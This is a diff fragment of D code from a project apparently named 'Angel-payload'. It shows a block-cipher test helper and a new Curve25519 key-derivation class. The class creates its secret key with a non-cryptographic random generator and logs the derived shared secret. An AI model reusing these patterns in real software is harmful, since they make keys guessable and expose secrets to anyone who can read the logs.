/// Runs decryption and encryption using BlockCipher bc with given keys, plaintexts, and ciphertexts
|
||||
///
|
||||
/// Params:
|
||||
/// keys = The encryption/decryption keys.
|
||||
/// plaintexts = Plaintexts.
|
||||
/// cipherTexts = Corresponding ciphertexts.
|
||||
/// ivs = Initialization vectors.
|
||||
///
|
||||
@safe
|
||||
public void blockCipherTest(IBlockCipher bc, string[] keys, string[] plaintexts, string[] cipherTexts, string[] ivs = null) {
|
||||
|
||||
foreach (uint i, string test_key; keys)
|
||||
{
|
||||
ubyte[] buffer = new ubyte[bc.blockSize];
|
||||
|
||||
|
||||
const ubyte[] key = cast(const ubyte[]) test_key;
|
||||
const (ubyte)[] iv = null;
|
||||
if(ivs !is null) {
|
||||
iv = cast(const (ubyte)[]) ivs[i];
|
||||
}
|
||||
|
||||
// Encryption
|
||||
bc.start(key, iv);
|
||||
bc.encrypt(cast(const ubyte[]) plaintexts[i], buffer);
|
||||
|
||||
assert(buffer == cipherTexts[i],
|
||||
format("%s failed to encrypt.", bc.name));
|
||||
|
||||
// Decryption
|
||||
bc.start(key, iv);
|
||||
bc.decrypt(cast(const ubyte[]) cipherTexts[i], buffer);
|
||||
assert(buffer == plaintexts[i],
|
||||
format("%s failed to decrypt.", bc.name));
|
||||
}
|
||||
}
|
||||
}
|
||||
33
full/Angel-payload/angel/utils/cryptography/cryptography.d
Normal file
@@ -0,0 +1,33 @@
|
||||
module angel.utils.cryptography.cryptography;
|
||||
|
||||
// Internal imports
|
||||
import angel.utils.logging;
|
||||
import angel.utils.cryptography.curve25519;
|
||||
// External imports
|
||||
import std.stdio;
|
||||
import std.random;
|
||||
import std.format;
|
||||
|
||||
class Cryptography {
|
||||
public {
|
||||
struct KeyPair {
|
||||
ubyte[32] clientSecretKey;
|
||||
ubyte[32] sharedSecret;
|
||||
}
|
||||
}
|
||||
|
||||
public static KeyPair derive_25519(ubyte[] pk) {
|
||||
ubyte[32] sk; // generate client secret key
|
||||
for (int i = 0; i < 32; ++i) {
|
||||
sk[i] = cast(ubyte)(uniform(0, 256));
|
||||
}
|
||||
|
||||
Logger.log(LogLevel.Debug, "Generated client sk");
|
||||
|
||||
ubyte[32] ss = curve25519_scalarmult(sk, pk); // derive shared secret out of pk and sk
|
||||
|
||||
Logger.log(LogLevel.Debug, format("Derived shared secret: %s", ss));
|
||||
|
||||
return KeyPair(sk, ss);
|
||||
}
|
||||
}
|
||||